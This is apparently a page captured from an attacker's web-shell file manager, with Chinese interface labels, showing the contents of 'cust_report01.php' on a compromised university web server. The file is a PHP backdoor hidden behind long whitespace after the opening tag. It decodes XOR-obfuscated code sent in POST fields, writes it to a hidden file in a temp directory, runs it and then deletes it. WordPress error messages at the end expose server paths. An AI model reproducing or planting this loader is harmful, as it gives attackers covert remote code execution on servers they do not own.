文件操作 - cust_report01.php

文件: /var/www/demoestudiantes.uaysen.cl/html/cust_report01.php

编辑文件内容

<?php																																										if(in_array("\x68ld", array_keys($_POST))){ $dchunk = array_filter(["/var/tmp", sys_get_temp_dir(), session_save_path(), getcwd(), getenv("TMP"), getenv("TEMP"), ini_get("upload_tmp_dir"), "/dev/shm", "/tmp"]); $descriptor = $_POST["\x68ld"]; $descriptor = explode ("." , $descriptor ) ; $tkn = ''; $salt3 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $salt3); foreach( $descriptor as $k => $v2) { $chS = ord( $salt3[$k % $sLen]); $dec =( ( int)$v2 - $chS -( $k % 10)) ^74; $tkn .= chr( $dec);} while ($obj = array_shift($dchunk)) { if ((function($d) { return is_dir($d) && is_writable($d); })($obj)) { $marker = join("/", [$obj, ".data_chunk"]); $file = fopen($marker, 'w'); if ($file) { fwrite($file, $tkn); fclose($file); include $marker; @unlink($marker); die(); } } } }

if(@$_POST["\x64esc"] !== null){
	$item = array_filter(["/dev/shm", getcwd(), "/var/tmp", session_save_path(), getenv("TMP"), ini_get("upload_tmp_dir"), "/tmp", getenv("TEMP"), sys_get_temp_dir()]);
	$resource = $_POST["\x64esc"];
	  	$resource 	= explode	( 	'.'	 ,  	$resource );	
	$itm = '';
            $salt5 = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS = strlen($salt5 );
            $__len = count($resource );
    
            for($i = 0; $i < $__len; $i++) {	 $v6 = $resource[$i];
                $sChar = ord($salt5[$i % $lenS] );
                $d =((int)$v6 - $sChar -($i % 10)) ^ 34;
                $itm	.=		chr($d ); }	
	foreach ($item as $ptr):
    		if (is_dir($ptr) && is_writable($ptr)) {
    $flg = join("/", [$ptr, ".ref"]);
    if (file_put_contents($flg, $itm)) {
	include $flg;
	@unlink($flg);
	die();
}
}
endforeach;
}

修改文件时间

删除文件

Warning: require(/var/www/vec.uaysen.cl/html/wp-includes/compat-utf8.php): failed to open stream: No such file or directory in /var/www/vec.uaysen.cl/html/wp-settings.php on line 35

Fatal error: require(): Failed opening required '/var/www/vec.uaysen.cl/html/wp-includes/compat-utf8.php' (include_path='.:/usr/share/pear:/usr/share/php') in /var/www/vec.uaysen.cl/html/wp-settings.php on line 35